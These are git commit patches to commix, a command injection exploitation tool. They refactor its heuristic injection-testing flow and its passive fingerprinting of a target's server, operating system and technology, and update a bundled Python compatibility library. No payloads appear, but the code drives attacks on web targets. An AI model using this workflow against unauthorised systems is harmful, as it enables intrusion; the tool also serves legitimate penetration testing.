checks.tamper_scripts(stored_tamper_scripts=False) + + settings.CHECKING_PARAMETER = "" + if not header_name == settings.COOKIE and not the_type == "HTTP header": + settings.CHECKING_PARAMETER = checks.check_http_method(url) + settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] + if header_name == settings.COOKIE : + settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter) + else: + settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) + + info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." + print(settings.print_info_msg(info_msg)) + + if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." + debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." print(settings.print_debug_msg(debug_msg)) + else: + if not settings.LOAD_SESSION: + checks.recognise_payload(payload=settings.TESTABLE_VALUE) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." + print(settings.print_debug_msg(debug_msg)) + + if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + + if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech: + # Check for identified warnings + url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + checks.skip_testing(filename, url) + + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + settings.HEURISTIC_TEST.POSITIVE = False + warn_msg = "Heuristic (basic) tests shows that " + warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) + + if (menu.options.smart and not settings.HEURISTIC_TEST.POSITIVE) or (menu.options.smart and menu.options.skip_heuristics): + info_msg = "Skipping " + info_msg += settings.CHECKING_PARAMETER + "." + print(settings.print_info_msg(info_msg)) + settings.HEURISTIC_TEST.POSITIVE = True + else: + if menu.options.failed_tries and \ + menu.options.tech and not "f" in menu.options.tech and not \ + menu.options.failed_tries: + warn_msg = "Due to the provided (unsuitable) injection technique" + warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " + warn_msg += "the option '--failed-tries' will be ignored." + print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - - if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech: - # Check for identified warnings - url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - checks.skip_testing(filename, url) - - if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - settings.HEURISTIC_TEST.POSITIVE = False - warn_msg = "Heuristic (basic) tests shows that " - warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + # Procced with file-based semiblind command injection technique, + # once the user provides the path of web server's root directory. + if menu.options.web_root and \ + menu.options.tech and not "f" in menu.options.tech: + if not menu.options.web_root.endswith("/"): + menu.options.web_root = menu.options.web_root + "/" + if checks.procced_with_file_based_technique(): + menu.options.tech = "f" - if (menu.options.smart and not settings.HEURISTIC_TEST.POSITIVE) or (menu.options.smart and menu.options.skip_heuristics): - info_msg = "Skipping " - info_msg += settings.CHECKING_PARAMETER + "." - print(settings.print_info_msg(info_msg)) - settings.HEURISTIC_TEST.POSITIVE = True - else: - if menu.options.failed_tries and \ - menu.options.tech and not "f" in menu.options.tech and not \ - menu.options.failed_tries: - warn_msg = "Due to the provided (unsuitable) injection technique" - warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " - warn_msg += "the option '--failed-tries' will be ignored." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - - # Procced with file-based semiblind command injection technique, - # once the user provides the path of web server's root directory. - if menu.options.web_root and \ - menu.options.tech and not "f" in menu.options.tech: - if not menu.options.web_root.endswith("/"): - menu.options.web_root = menu.options.web_root + "/" - if checks.procced_with_file_based_technique(): - menu.options.tech = "f" - - if settings.SKIP_COMMAND_INJECTIONS: - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - else: - classic_command_injection_technique(url, timesec, filename, http_request_method) - if not settings.IDENTIFIED_COMMAND_INJECTION: + if settings.SKIP_COMMAND_INJECTIONS: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) - filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + else: + classic_command_injection_technique(url, timesec, filename, http_request_method) + if not settings.IDENTIFIED_COMMAND_INJECTION: + dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) + timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + + # All injection techniques seems to be failed! + if checks.injection_techniques_status() == False: + warn_msg = "The tested " + warn_msg += settings.CHECKING_PARAMETER + warn_msg += " does not seem to be injectable." + print(settings.print_bold_warning_msg(warn_msg)) - # All injection techniques seems to be failed! - if checks.injection_techniques_status() == False: - warn_msg = "The tested " - warn_msg += settings.CHECKING_PARAMETER - warn_msg += " does not seem to be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + if not settings.CHECK_BOTH_OS: + break """ Inject HTTP headers (User-agent / Referer / Host) (if level > 2). diff --git a/src/core/main.py b/src/core/main.py index a04aaae587..c56fe29222 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -505,20 +505,20 @@ def main(filename, url, http_request_method): print(settings.print_critical_msg(str(err_msg.reason) + ".")) raise SystemExit() try: - info_msg = "Performing identification checks to the target URL." + info_msg = "Performing identification (passive) tests to the target URL." print(settings.print_info_msg(info_msg)) # Webpage encoding detection. requests.encoding_detection(response) + # Procedure for target server identification. + requests.server_identification(response) # Procedure for target application identification requests.application_identification(url) # Specifies the technology supporting the web application - requests.technology_detection(response) - if response.info()[settings.SERVER] : - server_banner = response.info()[settings.SERVER] - # Procedure for target server's operating system identification. - requests.check_target_os(server_banner) - # Procedure for target server identification. - requests.server_identification(server_banner) + requests.technology_identification(response) + # Procedure for target server's operating system identification. + if not settings.IDENTIFIED_TARGET_OS: + requests.os_identification(response) + if settings.IDENTIFIED_TARGET_OS: # Store the Server's root dir settings.DEFAULT_WEB_ROOT = settings.WEB_ROOT if menu.options.is_admin or menu.options.is_root and not menu.options.current_user: @@ -528,7 +528,7 @@ def main(filename, url, http_request_method): # Check for wrong flags. checks.check_wrong_flags() else: - found_os_server = checks.user_defined_os() + checks.user_defined_os() except (KeyError, AttributeError): pass # Load tamper scripts diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 95a4dcf04c..f1a902c217 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -184,9 +184,9 @@ def estimate_response_time(url, timesec, http_request_method): warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) - # Check if heuristics have failed to identify the realm attribute. + # Check if failed to identify the realm attribute. if not realm: - warn_msg = "Heuristics have failed to identify the realm attribute." + warn_msg = "Failed to identify the realm attribute." print(settings.print_warning_msg(warn_msg)) while True: message = "Do you want to perform a dictionary-based attack? [Y/n] > " @@ -237,8 +237,6 @@ def estimate_response_time(url, timesec, http_request_method): warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " warn_msg += "host, there might be delays during the data extraction procedure." print(settings.print_warning_msg(warn_msg)) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) url_time_response = int(round(diff)) warn_msg = "Target's estimated response time is " + str(url_time_response) warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" @@ -650,9 +648,8 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): def encoding_detection(response): charset_detected = False if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the indicated web-page charset. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + debug_msg = "Identifying the web page charset." + print(settings.print_debug_msg(debug_msg)) try: # Detecting charset try: @@ -674,49 +671,23 @@ def encoding_detection(response): if len(charset) != 0 : charset_detected = True # Check the identifyied charset - if charset_detected : + if charset_detected: settings.DEFAULT_PAGE_ENCODING = charset - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: - warn_msg = "The indicated web-page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." + warn_msg = "The web page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." print(settings.print_warning_msg(warn_msg)) else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The indicated web-page charset appears to be " - debug_msg += settings.DEFAULT_PAGE_ENCODING + Style.RESET_ALL + "." + debug_msg = "The web page charset appears to be " + settings.DEFAULT_PAGE_ENCODING + "." print(settings.print_bold_debug_msg(debug_msg)) else: pass except: pass if charset_detected == False and settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Heuristics have failed to identify indicated web-page charset." + warn_msg = "Failed to identify the web page charset." print(settings.print_warning_msg(warn_msg)) -""" -Procedure for target application identification -""" -def technology_detection(response): - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the technology supporting the target application. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - print(settings.SINGLE_WHITESPACE) - try: - if len(response.info()[settings.X_POWERED_BY]) != 0: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target application is powered by " - debug_msg += response.info()[settings.X_POWERED_BY] + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) - - except Exception as e: - if settings.VERBOSITY_LEVEL != 0: - warn_msg = "Heuristics have failed to identify the technology supporting the target application." - print(settings.print_warning_msg(warn_msg)) - - """ Procedure for target application identification """ @@ -724,17 +695,14 @@ def application_identification(url): found_application_extension = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the target application." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + print(settings.print_debug_msg(debug_msg)) root, application_extension = splitext(_urllib.parse.urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() if settings.TARGET_APPLICATION: found_application_extension = True if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - debug_msg = "The target application identified as " - debug_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "." + debug_msg = "The target application appears to be " + settings.TARGET_APPLICATION + "." print(settings.print_bold_debug_msg(debug_msg)) # Check for unsupported target applications @@ -746,31 +714,80 @@ def application_identification(url): if not found_application_extension: if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Heuristics have failed to identify target application." + warn_msg = "Failed to identify target's application." print(settings.print_warning_msg(warn_msg)) """ -Procedure for target server's identification. +Underlying operating system check. """ -def server_identification(server_banner): - found_server_banner = False - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target server. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() +def check_os(_): + if menu.options.os and checks.user_defined_os(): + user_defined_os = settings.TARGET_OS - for i in range(0,len(settings.SERVER_BANNERS)): - match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower()) + for i in range(0,len(settings.SERVER_OS_BANNERS)): + match = re.search(settings.SERVER_OS_BANNERS[i].lower(), _.lower()) if match: if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + debug_msg = "Identifying the underlying operating system." + print(settings.print_debug_msg(debug_msg)) + settings.IDENTIFIED_TARGET_OS = True + settings.TARGET_OS = match.group(0) + match = re.search(r"microsoft|win", settings.TARGET_OS) + if match: + settings.TARGET_OS = identified_os = settings.OS.WINDOWS + if menu.options.os and user_defined_os != settings.OS.WINDOWS: + if checks.identified_os(): + settings.TARGET_OS = user_defined_os + else: + settings.TARGET_OS = settings.OS.WINDOWS + if menu.options.shellshock: + err_msg = "The shellshock module ('--shellshock') is not available for " + identified_os + " targets." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + else: + identified_os = "Unix-like (" + settings.TARGET_OS + ")" + if menu.options.os and user_defined_os == settings.OS.WINDOWS: + if checks.identified_os(): + settings.TARGET_OS = user_defined_os + + if settings.VERBOSITY_LEVEL != 0 : + if settings.IDENTIFIED_TARGET_OS: + debug_msg = "The underlying operating system appears to be " + identified_os.title() + "." + print(settings.print_bold_debug_msg(debug_msg)) + +""" +Target application identification +""" +def technology_identification(response): + x_powered_by = response.info()[settings.X_POWERED_BY] + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Identifying the technology supporting the target application." + print(settings.print_debug_msg(debug_msg)) + try: + if len(x_powered_by) != 0: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target server identified as " - debug_msg += server_banner + Style.RESET_ALL + "." + debug_msg = "The target application is powered by " + x_powered_by + "." print(settings.print_bold_debug_msg(debug_msg)) + check_os(x_powered_by) + + except Exception as e: + if settings.VERBOSITY_LEVEL != 0: + warn_msg = "Failed to identify the technology supporting the target application." + print(settings.print_warning_msg(warn_msg)) + +""" +Target server's identification. +""" +def server_identification(response): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Identifying the software used by target server." + print(settings.print_debug_msg(debug_msg)) + + server_banner = response.info()[settings.SERVER] + for i in range(0,len(settings.SERVER_BANNERS)): + match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower()) + if match: settings.SERVER_BANNER = match.group(0) - found_server_banner = True # Set up default root paths if "apache" in settings.SERVER_BANNER.lower(): if settings.TARGET_OS == settings.OS.WINDOWS: @@ -782,96 +799,24 @@ def server_identification(server_banner): elif "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] break - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "The server which identified as '" - warn_msg += server_banner + "' seems unknown." - print(settings.print_warning_msg(warn_msg)) + + if len(server_banner) != 0 and settings.VERBOSITY_LEVEL != 0: + debug_msg = "The target server's software appears to be " + server_banner + "." + print(settings.print_bold_debug_msg(debug_msg)) + """ Procedure for target server's operating system identification. """ -def check_target_os(server_banner): - found_os_server = False - if menu.options.os and checks.user_defined_os(): - user_defined_os = settings.TARGET_OS - - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying The underlying operating system. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() +def os_identification(response): + if not settings.IGNORE_IDENTIFIED_OS: + server_banner = response.info()[settings.SERVER] + identified_os = check_os(server_banner) - # Procedure for target OS identification. - for i in range(0,len(settings.SERVER_OS_BANNERS)): - match = re.search(settings.SERVER_OS_BANNERS[i].lower(), server_banner.lower()) - if match: - found_os_server = True - settings.TARGET_OS = match.group(0) - match = re.search(r"microsoft|win", settings.TARGET_OS) - if match: - identified_os = "Windows" - if menu.options.os and user_defined_os != "win": - if not checks.identified_os(): - settings.TARGET_OS = user_defined_os - - settings.TARGET_OS = identified_os[:3].lower() - if menu.options.shellshock: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "The shellshock module ('--shellshock') is not available for " - err_msg += identified_os + " targets." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - identified_os = "Unix-like (" + settings.TARGET_OS + ")" - if menu.options.os and user_defined_os == "win": - if not checks.identified_os(): - settings.TARGET_OS = user_defined_os - - if settings.VERBOSITY_LEVEL != 0 : - if found_os_server: - print(settings.SINGLE_WHITESPACE) - debug_msg = "The underlying operating system appears to be " - debug_msg += identified_os.title() + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Heuristics have failed to identify server's operating system." - print(settings.print_warning_msg(warn_msg)) - - if found_os_server == False and not menu.options.os: - # If "--shellshock" option is provided then, by default is a Linux/Unix operating system. - if menu.options.shellshock: - pass - else: - if menu.options.batch: - if not settings.CHECK_BOTH_OS: - settings.CHECK_BOTH_OS = True - check_type = "Unix-like based" - elif settings.CHECK_BOTH_OS: - settings.TARGET_OS = settings.OS.WINDOWS - settings.CHECK_BOTH_OS = False - settings.PERFORM_BASIC_SCANS = True - check_type = "windows based" - info_msg = "Setting the " + check_type + " payloads." - print(settings.print_info_msg(info_msg)) - else: - while True: - message = "Do you recognise the server's operating system? " - message += "[(W)indows/(U)nix-like/(q)uit] > " - got_os = common.read_input(message, default="", check_batch=True) - if got_os.lower() in settings.CHOICE_OS : - if got_os.lower() == "w": - settings.TARGET_OS = settings.OS.WINDOWS - break - elif got_os.lower() == "u": - break - elif got_os.lower() == "q": - raise SystemExit() - else: - common.invalid_option(got_os) - pass + if not settings.IDENTIFIED_TARGET_OS and not menu.options.os: + warn_msg = "Failed to identify server's underlying operating system." + print(settings.print_warning_msg(warn_msg)) + checks.define_target_os() """ Perform target page reload (if it is required). diff --git a/src/utils/settings.py b/src/utils/settings.py index 2ab11961e0..b9d9b6d0d1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "50" +REVISION = "51" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -389,11 +389,14 @@ class HEURISTIC_TEST(object): class OS(object): UNIX = "unix" - WINDOWS = "win" + WINDOWS = "windows" # Default target host OS (Unix-like) TARGET_OS = OS.UNIX +IDENTIFIED_TARGET_OS = False +IGNORE_IDENTIFIED_OS = None + # Verbosity level: 0-1 (default 0) VERBOSITY_LEVEL = 0 @@ -632,7 +635,7 @@ class OS(object): CHOICE_QUIT = ['QUIT','Q','quit','q'] # Accepts 'W','w','U','u','Q','q' -CHOICE_OS = ['W','w','U','u','Q','q'] +CHOICE_OS = ['W','w','U','u','Q','q','N','n'] # Accepts 'C','c','S','s','Q','q','a','A','n','N' CHOICE_PROCEED = ['C','c','S','s','Q','q','a','A','n','N'] From 25fa4ab435608e02afcd3f33792bb8f6daeaff86 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 21 May 2024 07:21:57 +0300 Subject: [PATCH 0447/1023] Six (third party) module has been updated (Python 3.12 support). Potential fix for https://github.com/commixproject/commix/issues/885 --- doc/CHANGELOG.md | 1 + src/thirdparty/six/__init__.py | 107 +++++++++++++++++++++++---------- src/utils/settings.py | 2 +- 3 files changed, 78 insertions(+), 32 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9376fee450..a60debb2e8 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Updated: Six (third party) module has been updated (Python 3.12 support). * Revised: Minor improvement regarding determining (passively) the target's underlying operating system. * Revised: Minor improvement for enabling end-users to choose whether to skip or continue testing the remaining parameters, if one is found vulnerable. * Revised: Minor improvements regarding semiblind (i.e. "file-based") technique. diff --git a/src/thirdparty/six/__init__.py b/src/thirdparty/six/__init__.py index bba719bf42..d4fe9849f2 100644 --- a/src/thirdparty/six/__init__.py +++ b/src/thirdparty/six/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2010-2018 Benjamin Peterson +# Copyright (c) 2010-2020 Benjamin Peterson # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -29,7 +29,7 @@ import types __author__ = "Benjamin Peterson " -__version__ = "1.12.0" +__version__ = "1.16.0" # Useful for very coarse version differentiation. @@ -71,6 +71,11 @@ def __len__(self): MAXSIZE = int((1 << 63) - 1) del X +if PY34: + from importlib.util import spec_from_loader +else: + spec_from_loader = None + def _add_doc(func, doc): """Add documentation to a function.""" @@ -186,6 +191,11 @@ def find_module(self, fullname, path=None): return self return None + def find_spec(self, fullname, path, target=None): + if fullname in self.known_modules: + return spec_from_loader(fullname, self) + return None + def __get_module(self, fullname): try: return self.known_modules[fullname] @@ -223,6 +233,12 @@ def get_code(self, fullname): return None get_source = get_code # same as get_code + def create_module(self, spec): + return self.load_module(spec.name) + + def exec_module(self, module): + pass + _importer = _SixMetaPathImporter(__name__) @@ -247,18 +263,19 @@ class _MovedItems(_LazyModule): MovedAttribute("reduce", "__builtin__", "functools"), MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), MovedAttribute("StringIO", "StringIO", "io"), - MovedAttribute("UserDict", "UserDict", "collections"), + MovedAttribute("UserDict", "UserDict", "collections", "IterableUserDict", "UserDict"), MovedAttribute("UserList", "UserList", "collections"), MovedAttribute("UserString", "UserString", "collections"), MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), - MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"), MovedModule("builtins", "__builtin__"), MovedModule("configparser", "ConfigParser"), + MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"), MovedModule("copyreg", "copy_reg"), MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), - MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"), + MovedModule("dbm_ndbm", "dbm", "dbm.ndbm"), + MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread" if sys.version_info < (3, 9) else "_thread"), MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), MovedModule("http_cookies", "Cookie", "http.cookies"), MovedModule("html_entities", "htmlentitydefs", "html.entities"), @@ -638,13 +655,16 @@ def u(s): import io StringIO = io.StringIO BytesIO = io.BytesIO + del io _assertCountEqual = "assertCountEqual" if sys.version_info[1] <= 1: _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" else: _assertRaisesRegex = "assertRaisesRegex" _assertRegex = "assertRegex" + _assertNotRegex = "assertNotRegex" else: def b(s): return s @@ -666,6 +686,7 @@ def indexbytes(buf, i): _assertCountEqual = "assertItemsEqual" _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" _add_doc(b, """Byte literal""") _add_doc(u, """Text literal""") @@ -682,6 +703,10 @@ def assertRegex(self, *args, **kwargs): return getattr(self, _assertRegex)(*args, **kwargs) +def assertNotRegex(self, *args, **kwargs): + return getattr(self, _assertNotRegex)(*args, **kwargs) + + if PY3: exec_ = getattr(moves.builtins, "exec") @@ -717,16 +742,7 @@ def exec_(_code_, _globs_=None, _locs_=None): """) -if sys.version_info[:2] == (3, 2): - exec_("""def raise_from(value, from_value): - try: - if from_value is None: - raise value - raise value from from_value - finally: - value = None -""") -elif sys.version_info[:2] > (3, 2): +if sys.version_info[:2] > (3,): exec_("""def raise_from(value, from_value): try: raise value from from_value @@ -806,13 +822,33 @@ def print_(*args, **kwargs): _add_doc(reraise, """Reraise an exception.""") if sys.version_info[0:2] < (3, 4): + # This does exactly the same what the :func:`py3:functools.update_wrapper` + # function does on Python versions after 3.2. It sets the ``__wrapped__`` + # attribute on ``wrapper`` object and it doesn't raise an error if any of + # the attributes mentioned in ``assigned`` and ``updated`` are missing on + # ``wrapped`` object. + def _update_wrapper(wrapper, wrapped, + assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + for attr in assigned: + try: + value = getattr(wrapped, attr) + except AttributeError: + continue + else: + setattr(wrapper, attr, value) + for attr in updated: + getattr(wrapper, attr).update(getattr(wrapped, attr, {})) + wrapper.__wrapped__ = wrapped + return wrapper + _update_wrapper.__doc__ = functools.update_wrapper.__doc__ + def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, updated=functools.WRAPPER_UPDATES): - def wrapper(f): - f = functools.wraps(wrapped, assigned, updated)(f) - f.__wrapped__ = wrapped - return f - return wrapper + return functools.partial(_update_wrapper, wrapped=wrapped, + assigned=assigned, updated=updated) + wraps.__doc__ = functools.wraps.__doc__ + else: wraps = functools.wraps @@ -825,7 +861,15 @@ def with_metaclass(meta, *bases): class metaclass(type): def __new__(cls, name, this_bases, d): - return meta(name, bases, d) + if sys.version_info[:2] >= (3, 7): + # This version introduced PEP 560 that requires a bit + # of extra care (we mimic what is done by __build_class__). + resolved_bases = types.resolve_bases(bases) + if resolved_bases is not bases: + d['__orig_bases__'] = bases + else: + resolved_bases = bases + return meta(name, resolved_bases, d) @classmethod def __prepare__(cls, name, this_bases): @@ -862,12 +906,11 @@ def ensure_binary(s, encoding='utf-8', errors='strict'): - `str` -> encoded to `bytes` - `bytes` -> `bytes` """ + if isinstance(s, binary_type): + return s if isinstance(s, text_type): return s.encode(encoding, errors) - elif isinstance(s, binary_type): - return s - else: - raise TypeError("not expecting type '%s'" % type(s)) + raise TypeError("not expecting type '%s'" % type(s)) def ensure_str(s, encoding='utf-8', errors='strict'): @@ -881,12 +924,15 @@ def ensure_str(s, encoding='utf-8', errors='strict'): - `str` -> `str` - `bytes` -> decoded to `str` """ - if not isinstance(s, (text_type, binary_type)): - raise TypeError("not expecting type '%s'" % type(s)) + # Optimization: Fast return for the common case. + if type(s) is str: + return s if PY2 and isinstance(s, text_type): - s = s.encode(encoding, errors) + return s.encode(encoding, errors) elif PY3 and isinstance(s, binary_type): - s = s.decode(encoding, errors) + return s.decode(encoding, errors) + elif not isinstance(s, (text_type, binary_type)): + raise TypeError("not expecting type '%s'" % type(s)) return s @@ -909,10 +955,9 @@ def ensure_text(s, encoding='utf-8', errors='strict'): raise TypeError("not expecting type '%s'" % type(s)) - def python_2_unicode_compatible(klass): """ - A decorator that defines __unicode__ and __str__ methods under Python 2. + A class decorator that defines __unicode__ and __str__ methods under Python 2. Under Python 3 it does nothing. To support Python 2 and 3 with a single code base, define a __str__ method diff --git a/src/utils/settings.py b/src/utils/settings.py index b9d9b6d0d1..839d7c96c8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "51" +REVISION = "52" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 862edfc1748214793277c00531a3528ab451a55c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 22 May 2024 07:18:14 +0300 Subject: [PATCH 0448/1023] Minor update --- commix.py | 11 ++++++----- src/utils/settings.py | 2 +- src/utils/version.py | 4 ++-- 3 files changed, 9 insertions(+), 8 deletions(-) diff --git a/commix.py b/commix.py index 882ae1f024..d6dabe01ba 100755 --- a/commix.py +++ b/commix.py @@ -13,17 +13,18 @@ For more see the file 'readme/COPYING' for copying permission. """ +import sys + # Dummy check for missing module(s). try: __import__("src.utils.version") from src.utils import version version.python_version() -except ImportError: - err_msg = "Wrong installation detected (missing modules). " - err_msg = "Visit 'https://github.com/commixproject/commix/' for further details. \n" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() +except ImportError as ex: + err_msg = "Wrong installation detected (i.e \"" + str(ex) + "\"). " + err_msg += "Visit 'https://github.com/commixproject/commix/' for further details." + sys.exit(err_msg) # Main def main(): diff --git a/src/utils/settings.py b/src/utils/settings.py index 839d7c96c8..9741f8d36f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "52" +REVISION = "53" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/version.py b/src/utils/version.py index 21631a378c..9f1ce1a33a 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -31,6 +31,6 @@ def python_version(): if PYTHON_VERSION.split(".")[0] != "3": warn_msg = "Deprecated Python version detected: " warn_msg += PYTHON_VERSION + ". " - warn_msg += "You are advised to use Python version 3." - print("\n" + settings.print_bold_warning_msg(warn_msg)) + warn_msg += "You are advised to re-run with Python 3." + print(settings.print_bold_warning_msg(warn_msg)) #raise SystemExit() From d6c644eac2077d7adf50104113994b5ba02fca48 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos Date: Thu, 23 May 2024 08:51:19 +0300 Subject: [PATCH 0449/1023] Trying python 3.12 in CI/CD tests --- .github/workflows/builds.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index 48bdd19506..9158aa3f92 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ 'pypy-2.7', '3.11' ] + python-version: [ 'pypy-2.7', '3.12' ] steps: - uses: actions/checkout@v2 - name: Set up Python From c0690f66d1be8da1369134b449baeafe1291e094 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 24 May 2024 08:39:05 +0300 Subject: [PATCH 0450/1023] 